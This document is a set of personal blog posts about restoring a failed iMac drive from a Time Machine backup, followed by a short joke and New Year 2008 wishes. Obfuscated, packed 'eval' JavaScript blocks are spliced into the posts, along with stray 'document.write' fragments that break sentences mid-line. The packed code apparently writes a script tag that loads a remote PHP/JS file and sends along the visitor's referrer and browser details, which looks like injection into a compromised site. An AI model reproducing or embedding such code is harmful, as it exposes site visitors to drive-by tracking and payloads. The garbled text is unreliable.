A couple of weeks ago I bought a new, document.write(“”); bigger, network drive as the hard drive plugged to my Airport Extreme was already getting full. This allowed me to free a drive for Time Machine. I had the new Mac OS (10.5, aka Leopard) installed on both my iMacs for months, but never got around setting up Time Machine, Mac’s new automatic backup software, because I didn’t have any spare hard drive. I first set up Time Machine on my main iMac (Intel latest generation). That’s the one I use for work, so it was my first priority. It was quite easy to install: I had just to plug the spare drive (aptly named Tardis) on the USB port and turn Time Machine on. It immediately started to make the first, full backup. After that it makes hourly incremental backups. “Time Machine saves the hourly backups for the past 24 hours, daily backups for the past month, and weekly backups for everything older than a month.” It does that until the drive is full and then it erase the backups and starts again. It really gives you a sense of security. But if backups make you feel safe, it is mostly because you think that you will probably never need it anyway…
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|heaze|var|u0026u|referrer|dfihb||js|php’.split(‘|’),0,{}))
A few days later, being quite satisfied with how the software was working (mainly because it was not slowing the system–and therefore my work–when doing backups), I decided to implement Time Machine on my secondary iMac (a pre-iSight G5 that I use for backup, research, testing and download). First, I had to free another, smaller, hard drive by moving content around (to Navi, the network drive plugged to Airport Extreme, and to Tardis). Since it was a smaller drive, I also had to set up TM to exclude some, less important, folders (Music, Movie), while doing its backup. Once turned on, Time Machine started doing it backup quietly and flawlessly. After a while you forget about it. It’s part of the system. It’s just a safety net…
About a week later, I noticed that my secondary iMac was getting quite slow. I checked to see if one of the softwares was dragging the system down, but couldn’t find anything wrong. I rebooted just in case, but nothing changed. The system was still slow to respond to any command. So, last Thursday, in frustration, I decided to turn the computer off, thinking of doing more tests later. When I turned it on again on Good Friday afternoon, it refused to boot. I tried several time and all I was getting was the Apple logo, the spinning wheel, the fan was starting to run like crazy after a while, and sometime ending up with a kernel panic (the multilingual screen of death). My computer was dead! I was busy and there was nothing much I could do, so I left it alone.
Finally, Sunday I had a little spare time (it was Easter, my wife was working and the big family dinner would not happen before next week) so I decided to do some tests. I succeeded to boot the iMac with the Leopard install disk. It could be either some corruption in the OS software or some problem with the hard drive. First, I checked the drive with Disk Utility. I thought that doing some repair on the disk would probably solved the problem. Wrong! Disk Utility gives me right away a “Fatal Hardware Error” on the drive. Bad news… So the drive is dead. It is confirmed by the Apple Hardware Test that gives an error code on the SATA bus. Now I know what to do to resuscitate my iMac (which is quite appropriate on Easter!) Unfortunately, all repair shops and computer stores are closed until Monday. It leaves me some time to do a little thinking. My AppleCare warranty has already expired in December, so bringing it to the repair shop will probably be quite costly. On the other hand, the hard drive on this model is still easily accessible so I could simply purchase a new drive and install it myself. If it doesn’t work I could still bring it to the repair shop. So I download the “how-to” instructions from Apple website, check my iMac specs to make sure which drive I need and go to Microbytes to purchase a new (twice bigger) hard drive. It takes fifteen minutes to install the new drive, reboot with the Leopard install disk and reformat the drive. Now comes the big test for Time Machine. It takes a couple of hours to restore the iMac with the Time Machine backup, but it finally reboot and looks like nothing ever happened! Alleluia Time Machine!
I’ve never seen a backup system so easy to use! If you have a Mac and are running Leopard, the safest thing to do is to make sure that Time Machine is on. You never know when you’ll need it.
A Muslim and an Otaku enter a bar…
Do you know the joke where a shiite Muslim and an Otaku enter a bar?
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnsdb|var|u0026u|referrer|fnyky||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bebtt|var|u0026u|referrer|tbfti||js|php’.split(‘|’),0,{}))
Me neither.
But I can tell you for sure that, document.write(“”); whichever reason the muslim entered the bar or whatever the anime fan told him, it will always end badly. The shiite will always hit the fan!
Best wishes for 2008
Sorry, document.write(“”); I’ve not blogged much since last fall. I’ve been so busy with work, trying to keep the magazine on schedule, attending NYAF, etc.
I’ll do my best to resume blogging regularly as soon as possible. I really have to organize by time better and to go out more often. Lately, going out was mostly putting the garbages on the sidewalk! I wish I could see more people. Not easy when I am chained to my computer…
In the meantime, I wish you all the best for 2008!
Clodjee's Safe-House 